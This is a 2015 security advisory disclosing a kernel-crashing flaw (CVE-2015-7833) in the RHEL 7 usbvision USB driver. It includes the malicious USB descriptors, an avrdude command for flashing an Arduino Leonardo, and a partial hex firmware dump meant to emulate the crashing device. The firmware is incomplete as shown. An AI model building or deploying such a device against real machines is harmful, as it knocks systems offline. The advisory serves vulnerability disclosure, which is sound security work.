

OS-S Security Advisory 2015-04

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CVE: CVE-2015-7833

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7 Kernel crashes on invalid USB device descriptors (usbvision driver)

Severity: Critical. The Kernel panics. A reboot is required.

Vendor contacted: March 13th 2015 https://bugzilla.redhat.com/show_bug.cgi?id=1201858

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7 including all updates

Abstract

The Kernel 3.10.0-123.20.1.el7 through 3.10.0-229.14.1.el7 crashes when presented a buggy USB device which requires the usbvision driver. All subsequently published kernel updates crash as well.

Detailed product description

We confirmed the bug on the following system:

- RHEL 7
 - kernel >= 3.10.0-123.20.1.el7.x86_64

Further products or kernel versions have not been tested

Description

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor:

```
###[ USB_Device_Descriptor ]###  
    bLength      = 18  
    bDescriptorType= 0x1  
    bcdUSB       = 0x200  
    bDeviceClass = 0xff  
    bDeviceSubClass= 0  
    bDeviceProtocol= 0  
    bMaxPacketSize= 64  
    isVendor     = 0x573  
    idProduct    = 0x4d26  
    bcdDevice    = 0x100
```

```
iManufacturer= 1
iProduct = 2
iSerialNumber= 3
bNumConfigurations= 1
```

This is the configuration descriptor containing the malicious value for bInterfaceNumber causing the crash. Any number but 0 crashes the system.

```
###[ USB_Configuration_Descriptor ]###
    bLength = 9
    bDescriptorType= 0x2
    wTotalLength= 0x27
    bNumInterfaces= 1
    bConfigurationValue= 1
    iConfiguration= 0
    bmAttributes= Remote_Wakeup+Self_Powered+Reserved_D7
    bMaxPower = 49
###[ USB_Interface_Descriptor ]###
    bLength = 9
    bDescriptorType= 0x4
    bInterfaceNumber= 255
    bAlternateSetting= 0
    bNumEndpoints= 3
    bInterfaceClass= 0xff
    bInterfaceSubClass= 0x0
    bInterfaceProtocol= 0x0
    iInterface= 0
###[ USB_Endpoint_Descriptor ]###
    bLength = 7
    bDescriptorType= 0x5
    bEndpointAddress= 0x81
    bmAttribut= 0x3
    wMaxPacketSize= 1028
    bInterval = 12
###[ USB_Endpoint_Descriptor ]###
    bLength = 7
    bDescriptorType= 0x5
    bEndpointAddress= 0x1
    bmAttribut= 0x2
    wMaxPacketSize= 4
    bInterval = 12
###[ USB_Endpoint_Descriptor ]###
    bLength = 7
    bDescriptorType= 0x5
    bEndpointAddress= 0x82
    bmAttribut= 0x1
    wMaxPacketSize= 4
    bInterval = 12
```

Proof of Concept

For a proof of concept we are providing a Arduino firmware file. Just flash it on Arduino Leonardo and plug it into any RHEL machine. The arduino will emulate the defective USB device.

```
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U  
flash:w:binary.hex
```

The file binary.hex has been attached to this bug report

To prevent automated sending of payloads, use a jumper to connect port D3 and 3V3!

Severity and Ease of Exploitation

The security weakness can be easily exploited. Using our arduino firmware only physical access to the system is required.

Vendor Communication

We unsuccessfully tried to contact the vendor for several months. We never received any response on our bugtraq ticket: https://bugzilla.redhat.com/show_bug.cgi?id=1201858

Arduino Firmware

```
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94CC050C943704BA  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C941602B9  
:100060000C94C5000C94C5000C94C5000C94C500FC  
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:10013000000000000250028002B002E0031000000E8  
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:1001B00083E00E94380361E087E00E94380361E039  
:1001C00088E00E9438030E9461067E012AE9E20E5F  
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```

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:100260002A95E1F7BE0160587F4F27E0EEE6F1E006
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:100350000E946D0687EC92E00E946D0686E093E0B5
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:1003A00084E194E00E946D06BF92AF92DF92CF92FB
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